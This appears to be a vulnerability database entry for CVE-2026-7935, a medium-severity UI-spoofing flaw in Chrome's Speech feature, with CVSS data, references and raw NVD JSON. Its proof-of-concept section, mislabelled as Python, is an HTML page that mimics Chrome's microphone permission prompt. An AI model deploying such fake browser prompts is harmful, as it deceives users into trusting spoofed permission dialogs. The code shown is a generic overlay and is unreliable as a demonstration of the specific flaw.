CVE-2026-7935

Description

Inappropriate implementation in Speech in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for UI Spoofing in Chrome Speech -->
<!-- This PoC demonstrates how a crafted HTML page can mimic the Chrome Speech UI -->
<!DOCTYPE html>
<html>
<head>
<style>
    /* CSS to mimic the browser's native speech permission prompt */
    .spoofed-ui {
        position: fixed;
        top: 20px;
        right: 20px;
        width: 300px;
        background: #ffffff;
        border: 1px solid #dadce0;
        box-shadow: 0 4px 16px rgba(0,0,0,0.2);
        border-radius: 8px;
        padding: 16px;
        font-family: 'Segoe UI', Tahoma, sans-serif;
        z-index: 9999;
    }
    .spoofed-header {
        font-weight: bold;
        margin-bottom: 8px;
        display: flex;
        align-items: center;
    }
    .mic-icon {
        width: 24px;
        height: 24px;
        background-color: #4285f4; /* Google Blue */
        border-radius: 50%;
        margin-right: 12px;
        position: relative;
    }
    .spoofed-text {
        font-size: 14px;
        color: #202124;
        margin-bottom: 12px;
    }
    .spoofed-buttons {
        display: flex;
        justify-content: flex-end;
    }
    .btn {
        padding: 8px 16px;
        border-radius: 4px;
        border: none;
        font-size: 14px;
        cursor: pointer;
        margin-left: 8px;
    }
    .btn-allow { background: #1a73e8; color: white; }
    .btn-block { background: #f1f3f4; color: #3c4043; }
</style>
</head>
<body>
    <p>Attack Page Content...</p>
    <!-- The spoofed UI element -->
    <div class="spoofed-ui">
        <div class="spoofed-header">
            <div class="mic-icon"></div>
            <span>Allow example.com to use your microphone?</span>
        </div>
        <div class="spoofed-text">
            This site wants to use Speech Recognition.
        </div>
        <div class="spoofed-buttons">
            <button class="btn btn-block">Block</button>
            <button class="btn btn-allow">Allow</button>
        </div>
    </div>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7935
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7935
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7935/
[4] VulDB https://vuldb.com/cve/CVE-2026-7935
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/489624550

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7935", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:41.840", "lastModified": "2026-05-06T23:34:33.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Speech in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/489624550", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}